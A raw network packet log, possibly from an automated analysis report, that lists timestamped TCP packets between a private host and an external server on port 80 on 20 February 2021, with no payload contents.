Feb 20, 2021 09:48:08.682399035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682425022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682430029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682441950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682460070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721487045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721529007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721560001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721591949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721615076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721656084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721685886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721695900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721726894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721736908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721744061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721748114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721751928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721755981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721760035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721774101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721811056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721843004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721878052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721914053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721940994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721947908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721970081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.721977949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721985102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721988916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.721993923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722002983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722007036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722032070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722047091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722062111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722069025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722074032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722103119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722106934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722127914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722140074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722156048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722174883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722194910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722208023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722224951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722242117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722258091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722270966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722290039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722291946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722317934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722322941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722349882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722352982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722378016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722378969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722404003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722407103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722440004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722448111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722460032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722472906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722486973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722492933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722520113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722533941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722551107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722578049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722588062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722599983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722620964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722628117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722645044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722662926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722676992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722692013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722703934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722708941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722731113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722734928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722760916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722767115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722781897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722790956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722805977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722831964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722839117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722855091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722882032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722887993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722909927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722924948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722939014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722960949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.722973108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.722990990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723011971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723016024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723041058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723042011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723071098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723072052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723102093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723107100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723131895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723146915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723160028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723176956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723196983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723197937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723225117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723239899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723257065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723285913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723289013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723320007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723332882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723361969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723370075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723397970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723411083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723433971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723445892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723457098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723484993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723510027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723515034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723546982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723558903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723570108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723594904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723601103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723622084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723625898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723658085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723669052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723671913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723701000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723717928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723730087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723751068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723751068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723781109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723789930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723812103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723819017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723845005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723855019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723870993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723889112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723901987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723932028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723936081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723963976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.723987103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.723992109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724020004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724033117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724045992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724061012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724087954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724091053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724116087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724127054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724140882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724160910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724172115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724181890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724220037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724224091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724246979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724257946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724278927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724282026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724296093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724302053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724328041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724349976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724360943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724379063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724397898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724406004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724427938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724457979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724489927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724529982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724540949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724556923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724579096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724598885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724605083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724634886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724647045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724658012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724684000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724710941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724734068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724761963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724762917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724811077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724864960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724889040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724915981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724917889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724944115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724956989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.724972963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.724993944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.725004911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.725024939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.725040913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.725047112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.725068092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.725071907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.725101948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.725106955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.725117922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.725151062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742043972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742069006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742083073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742099047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742119074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742139101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742160082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742181063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742204905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742228031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742235899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742249012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742264032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742268085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742269993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742271900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742271900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742274046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742294073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742314100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742317915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742324114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742335081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742338896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742348909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742356062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742358923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742369890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742383003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742405891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742408037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742413998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742427111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742429018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742438078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742449045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742470026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742471933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742482901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742492914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742492914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742516041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742525101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742536068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742537975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742563963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742568016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742577076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742585897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742588043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742609024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742619038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742630959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742630959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742650986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742660999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742671967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742692947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742700100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742707014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742714882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742738962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742739916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742748022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742763042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742784023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742784023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742791891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742805004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742826939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742826939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742830992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742847919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742868900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742870092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742877960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742892027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742913008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742917061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742921114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742942095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742961884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.742964029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742975950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.742983103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743004084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743010998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743017912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743025064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743046999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743051052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743062019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743068933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743093014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743094921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743103027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743119001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743136883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743138075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743145943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743158102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743180037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743180037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743190050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743201017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743222952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743225098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743236065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743243933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743268967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743269920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743277073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743294001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743313074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743314028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743321896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743335962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743355989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743355989 CET	49165	80	192.168.2.22	185.81.0.78
